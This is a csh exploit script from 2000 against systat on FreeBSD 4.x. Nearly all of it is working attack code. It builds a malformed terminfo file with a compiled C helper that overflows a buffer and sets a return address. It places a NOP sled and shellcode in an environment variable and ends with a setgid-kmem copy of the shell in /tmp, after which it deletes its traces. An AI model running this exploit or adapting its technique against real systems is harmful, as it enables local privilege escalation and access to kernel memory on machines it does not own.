#!/bin/csh

##############################################################################
# (c) 2000 Przemys³aw Frasunek <venglin@freebsd.lublin.pl>                   #
#                                                                            #
# FreeBSD 4.x systat (gid=kmem) trivial exploit                              #
# Idea by: Jouko Pynnönen <jouko@SOLUTIONS.FI>                               #
#                                                                            #
# Dedicated to ksm.                                                          #
#                                                                            #
# Nudzi³o mi siê w szkole, tote¿ napisa³em sploita na angielskim. :)          #
##############################################################################

cat << __EOF__ > /tmp/xx
#!/bin/csh

cp /bin/sh /tmp
/usr/bin/chgrp kmem /tmp/sh
chmod 2755 /tmp/sh
__EOF__

chmod 755 /tmp/xx

cat << __EOF__ > /tmp/sploitte.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define OFF -400
#define ALIGN 516

long getesp(void)
{
  __asm__("movl %esp, %eax\n");
}

int main(void)
{
  /* precompiled malformed terminfo header */

  char evilcap[] =
  "\x1a\x01\x2a\x00\x26\x00\x21\x00\x82\x01\x09\x02\x73\x63\x72\x65"
  "\x65\x6e\x7c\x56\x54\x20\x31\x30\x30\x2f\x41\x4e\x53\x49\x20\x58"
  "\x33\x2e\x36\x34\x20\x76\x69\x72\x74\x75\x61\x6c\x20\x74\x65\x72"
  "\x6d\x69\x6e\x61\x6c";

  char retbuf[5];
  long ret = getesp() + OFF;
  int i;

  /* creating ~/.terminfo/s/screen precompiled binary */

  write(2, evilcap, sizeof(evilcap)-1);
  for (i=0;i<39;i++) write(2, "\0", 1);
  for (i=0;i<86;i++) write(2, "\xff", 1);
  write(2, "\0\0", 2);
  for (i=0;i<750;i++) write(2, "\xff", 1);
  for (i=0;i<ALIGN;i++) write(2, "a", 1);
  sprintf(retbuf, "%c%c%c%c", ((int)ret & 0xff),
    (((int)ret & 0xff00) >> 8),
    (((int)ret & 0xff0000) >> 16),
    (((int)ret & 0xff000000) >> 24));
  write(2, retbuf, 5);
}
__EOF__

# creating terminfo binary

cc -o /tmp/s /tmp/sploitte.c
cd $HOME
mkdir -p .terminfo/s
setenv TERM screen
/tmp/s >& .terminfo/s/screen

# shellcode goes to env. plenty of nops are used, so usually adjusting offset
# isn't needed.

setenv EGG `perl -e 'print "\x90" x 10000 ; print "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/xx\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"'`

# boom.

/usr/bin/systat >& /dev/null

# clean me up.

rm -f .terminfo/s/screen
rm -f /tmp/xx /tmp/s /tmp/sploitte.c

# your setgid shell :)

ls -la /tmp/sh